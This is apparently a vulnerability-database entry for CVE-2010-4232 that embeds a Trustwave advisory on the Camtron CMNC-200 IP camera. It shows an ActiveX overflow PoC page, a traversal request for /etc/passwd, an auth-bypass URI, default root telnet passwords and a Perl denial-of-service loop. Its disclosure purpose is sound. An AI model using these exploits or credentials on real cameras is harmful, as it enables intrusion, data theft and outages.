Sign-up

ID

VAR-201011-0102


CVE

CVE-2010-4232


TITLE

Camtron CMNC-200 Full HD IP Camera of Web Vulnerability to bypass authentication in base management interface

Trust: 0.8

sources: JVNDB: JVNDB-2010-003391

DESCRIPTION

The web-based administration interface on the Camtron CMNC-200 Full HD IP Camera and TecVoz CMNC-200 Megapixel IP Camera with firmware 1.102A-008 allows remote attackers to bypass authentication via a // (slash slash) at the beginning of a URI, as demonstrated by the //system.html URI. The Camtron CMNC-200 is a webcam. Using the correct format request, the attacker can bypass the authentication mechanism: http://www.ipcamera.com//system.html. Camtron CMNC-200 Full HD IP Camera is prone to multiple security vulnerabilities. Exploiting these issues will allow remote attackers to execute arbitrary code, trigger a denial of service, or completely compromise the device. The vulnerable products are listed below: Camtron CMNC-200 Full HD IP Camera running firmware 1.102A-008 is vulnerable. TVSLiveControl 1.6.50.33 is vulnerable; others may also be affected. The vulnerability has been confirmed via the //system.html URI. The most notable features are full HD support (1920 x 1080), dual streaming, 10x optical zoom, SD card input, input and output alarm sensor, and integration with different DVR solutions. Source: http://www.camtron.co.kr Credit: Wendel G. Henrique of Trustwave's SpiderLabs CVE: CVE-2010-4230 CVE-2010-4231 CVE-2010-4232 CVE-2010-4233 CVE-2010-4244 Finding 1: Buffer Overflow in ActiveX Control CVE: CVE-2010-4230 The CMNC-200 IP Camera ActiveX control identified by CLSID {DD01C8CA-5DA0-4B01-9603-B7194E561D32} is vulnerable to a stack overflow on the first argument of the connect method. The vulnerability can be used to set the EIP register, allowing a reliable exploitation. The example code below triggers the vulnerability. <html> <head><title>IPcam POC</title> <script> function Check(){ var bf1 = 'A'; while (bf1.length <= 6144) bf1 = bf1 + 'A'; obj.connect(bf1,"BBBB","CCCC"); } </script> </head> <body onload=" Check();"> <object classid="clsid:DD01C8CA-5DA0-4B01-9603-B7194E561D32" id="obj"> </object> </html></body> Vendor Response: No response received. Remediation Steps: No patch currently exists for this issue. To limit exposure, network access to these devices should be limited to authorized personnel through the use of Access Control Lists and proper network segmentation. The server is vulnerable to directory transversal attacks, allowing access to any file on the camera file system. The following example will display the contents of /etc/passwd: GET /../../../../../../../../../../../../../etc/passwd HTTP/1.1 Because the web server runs as root, an attacker can read critical files like /etc/shadow from the web-based administration interface. Authentication is not required for exploitation. Vendor Response: No response received. Remediation Steps: No patch currently exists for this issue. To limit exposure, network access to these devices should be limited to authorized personnel through the use of Access Control Lists and proper network segmentation. The first example requires authentication: http://www.ipcamera.com/system.html When a second forward slash is placed after the hostname, authentication is not required. Vendor Response: No response received. Remediation Steps: No patch currently exists for this issue. To limit exposure, network access to these devices should be limited to authorized personnel through the use of Access Control Lists and proper network segmentation. Finding 4: Undocumented Default Accounts CVE: CVE-2010-4233 The CMNC-200 IP Camera has undocumented default accounts on its Linux operating system. These accounts can be used to login via the cameras telnet interface, which cannot be normally disabled. The usernames and passwords are listed below. User: root Password: m User: mg3500 Password: merlin Vendor Response: No response received. Remediation Steps: No patch currently exists for this issue. To limit exposure, network access to these devices should be limited to authorized personnel through the use of Access Control Lists and proper network segmentation. Finding 5: Camera Denial of Service CVE: CVE-2010-4234 The CMNC-200 IP Camera has a built-in web server that is vulnerable to denial of service attacks. Sending multiple requests in parallel to the web server may cause the camera to reboot. Requests with long cookie header makes the IP camera reboot a few seconds faster, however the same can be accomplished with requests of any size. The example code below is able to reboot the IP cameras in less than a minute in a local network. #!/usr/bin/perl use LWP::UserAgent; while (1 == 1){ $ua = new LWP::UserAgent; $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6)"); $req = HTTP::Request->new(GET => 'http://192.168.10.100'); $req->header(Accept => "text/xml,application/xml,application/xhtml+xml,text/html ;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"); $req->header("Keep-Alive" => 0); $req->header(Connection => "close"); $req->header("If-Modified-Since" => "Mon, 12 Oct 2009 02:06:34 GMT"); $req->header(Cookie => "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); my $res = $ua->request($req); } Vendor Response: No response received. Remediation Steps: No patch currently exists for this issue. To limit exposure, network access to these devices should be limited to authorized personnel through the use of Access Control Lists and proper network segmentation. Vendor Communication Timeline: 10/7/10 - Vendor contact attempted 10/21/10 - Vendor contact attempted 11/1/10 - Vendor contact attempted 11/11/10 - CVE numbers obtained 11/12/10 - Advisory public release Revision History: 1.0 Initial publication About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com About Trustwave's SpiderLabs: SpiderLabs is the advance security team at Trustwave responsible for incident response and forensics, ethical hacking and application security tests for Trustwave's clients. SpiderLabs has responded to hundreds of security incidents, performed thousands of ethical hacking exercises and tested the security of hundreds of business applications for Fortune 500 organizations. For more information visit https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/

Trust: 2.61

sources: NVD: CVE-2010-4232 // JVNDB: JVNDB-2010-003391 // CNVD: CNVD-2010-2886 // BID: 44841 // VULHUB: VHN-46837 // PACKETSTORM: 95794

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

category:['camera device']sub_category:IP camera

Trust: 0.1

sources: OTHER: None // CNVD: CNVD-2010-2886

AFFECTED PRODUCTS

vendor:tecvozmodel:cmnc-200scope:eqversion:1.102a-008

Trust: 2.4

vendor:camtronmodel:cmnc-200scope:eqversion:1.102a-008

Trust: 1.8

vendor:tecvozmodel:cmnc-200scope:eqversion:*

Trust: 1.0

vendor:camtronmodel:cmnc-200scope:eqversion:*

Trust: 1.0

vendor:camtronmodel:cmnc-200scope: - version: -

Trust: 0.8

vendor:tecvozmodel:cmnc-200scope: - version: -

Trust: 0.8

vendor:camtronmodel:cmnc-200 v1.102a-008 board idscope:eqversion:/66

Trust: 0.6

vendor:tvslivecontrolmodel:activex controlscope:eqversion:1.6.50.33

Trust: 0.3

vendor:camtronmodel:cmnc-200 full hd ip camera 1.102a-008scope: - version: -

Trust: 0.3

sources: CNVD: CNVD-2010-2886 // BID: 44841 // JVNDB: JVNDB-2010-003391 // CNNVD: CNNVD-201011-198 // NVD: CVE-2010-4232

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2010-4232
value: HIGH

Trust: 1.0

NVD: CVE-2010-4232
value: HIGH

Trust: 0.8

CNNVD: CNNVD-201011-198
value: CRITICAL

Trust: 0.6

VULHUB: VHN-46837
value: HIGH

Trust: 0.1

nvd@nist.gov: CVE-2010-4232
severity: HIGH
baseScore: 10.0
vectorString: AV:N/AC:L/AU:N/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 10.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

VULHUB: VHN-46837
severity: HIGH
baseScore: 10.0
vectorString: AV:N/AC:L/AU:N/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 10.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

sources: VULHUB: VHN-46837 // JVNDB: JVNDB-2010-003391 // CNNVD: CNNVD-201011-198 // NVD: CVE-2010-4232

PROBLEMTYPE DATA

problemtype:CWE-287

Trust: 1.9

sources: VULHUB: VHN-46837 // JVNDB: JVNDB-2010-003391 // NVD: CVE-2010-4232

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201011-198

TYPE

authorization issue

Trust: 0.6

sources: CNNVD: CNNVD-201011-198

CONFIGURATIONS

sources:
            
            
            JVNDB: JVNDB-2010-003391

EXPLOIT AVAILABILITY
sources:
            
            
            VULHUB: VHN-46837

PATCH
title:Top Pageurl:http://www.camtron.co.kr/
Trust: 0.8
title:Top Pageurl:http://www.tecvoz.com.br/
Trust: 0.8
sources:
            
            
            JVNDB: JVNDB-2010-003391

EXTERNAL IDS
db:NVDid:CVE-2010-4232
Trust: 3.6
db:EXPLOIT-DBid:15506
Trust: 1.7
db:JVNDBid:JVNDB-2010-003391
Trust: 0.8
db:CNNVDid:CNNVD-201011-198
Trust: 0.7
db:CNVDid:CNVD-2010-2886
Trust: 0.6
db:BUGTRAQid:20101112 TWSL2010-006: MULTIPLE VULNERABILITIES IN CAMTRON CMNC-200 IP CAMERA
Trust: 0.6
db:BIDid:44841
Trust: 0.3
db:OTHERid:NONE
Trust: 0.1
db:SEEBUGid:SSVID-70205
Trust: 0.1
db:VULHUBid:VHN-46837
Trust: 0.1
db:PACKETSTORMid:95794
Trust: 0.1
sources:
            
            
            OTHER: None // 
            
            
            
            CNVD: CNVD-2010-2886 // 
            
            
            
            VULHUB: VHN-46837 // 
            
            
            
            BID: 44841 // 
            
            
            
            JVNDB: JVNDB-2010-003391 // 
            
            
            
            PACKETSTORM: 95794 // 
            
            
            
            CNNVD: CNNVD-201011-198 // 
            
            
            
            NVD: CVE-2010-4232

REFERENCES
url:https://www.trustwave.com/spiderlabs/advisories/twsl2010-006.txt
Trust: 2.7
url:http://www.exploit-db.com/exploits/15506
Trust: 1.7
url:http://www.securityfocus.com/archive/1/514753/100/0/threaded
Trust: 1.1
url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2010-4232
Trust: 0.8
url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2010-4232
Trust: 0.8
url:http://www.securityfocus.com/archive/1/archive/1/514753/100/0/threaded
Trust: 0.6
url:http://seclists.org/fulldisclosure/2010/nov/127
Trust: 0.3
url:http://www.camtron.co.kr/
Trust: 0.3
url:https://ieeexplore.ieee.org/abstract/document/10769424
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2010-4232
Trust: 0.1
url:http://192.168.10.100');
Trust: 0.1
url:https://www.trustwave.com/spiderlabs
Trust: 0.1
url:http://secunia.com/
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2010-4244
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2010-4231
Trust: 0.1
url:http://www.camtron.co.kr
Trust: 0.1
url:http://www.ipcamera.com/system.html
Trust: 0.1
url:http://www.tecvoz.com.br/)
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2010-4230
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2010-4233
Trust: 0.1
url:http://www.ipcamera.com//system.html
Trust: 0.1
url:http://www.camtron.co.kr/)
Trust: 0.1
url:http://lists.grok.org.uk/full-disclosure-charter.html
Trust: 0.1
url:https://www.trustwave.com
Trust: 0.1
sources:
            
            
            OTHER: None // 
            
            
            
            CNVD: CNVD-2010-2886 // 
            
            
            
            VULHUB: VHN-46837 // 
            
            
            
            BID: 44841 // 
            
            
            
            JVNDB: JVNDB-2010-003391 // 
            
            
            
            PACKETSTORM: 95794 // 
            
            
            
            CNNVD: CNNVD-201011-198 // 
            
            
            
            NVD: CVE-2010-4232

CREDITS
Wendel G. Henrique of Trustwave's SpiderLabs
Trust: 0.3
sources:
            
            
            BID: 44841

SOURCES
db:OTHERid: - 
db:CNVDid:CNVD-2010-2886
db:VULHUBid:VHN-46837
db:BIDid:44841
db:JVNDBid:JVNDB-2010-003391
db:PACKETSTORMid:95794
db:CNNVDid:CNNVD-201011-198
db:NVDid:CVE-2010-4232

LAST UPDATE DATE
2025-04-11T20:44:50.580000+00:00

SOURCES UPDATE DATE
db:CNVDid:CNVD-2010-2886date:2010-11-18T00:00:00
db:VULHUBid:VHN-46837date:2018-10-10T00:00:00
db:BIDid:44841date:2010-11-18T11:06:00
db:JVNDBid:JVNDB-2010-003391date:2012-03-27T00:00:00
db:CNNVDid:CNNVD-201011-198date:2010-11-18T00:00:00
db:NVDid:CVE-2010-4232date:2025-04-11T00:51:21.963

SOURCES RELEASE DATE
db:CNVDid:CNVD-2010-2886date:2010-11-18T00:00:00
db:VULHUBid:VHN-46837date:2010-11-17T00:00:00
db:BIDid:44841date:2010-11-12T00:00:00
db:JVNDBid:JVNDB-2010-003391date:2012-03-27T00:00:00
db:PACKETSTORMid:95794date:2010-11-12T23:06:03
db:CNNVDid:CNNVD-201011-198date:2010-11-18T00:00:00
db:NVDid:CVE-2010-4232date:2010-11-17T01:00:03.903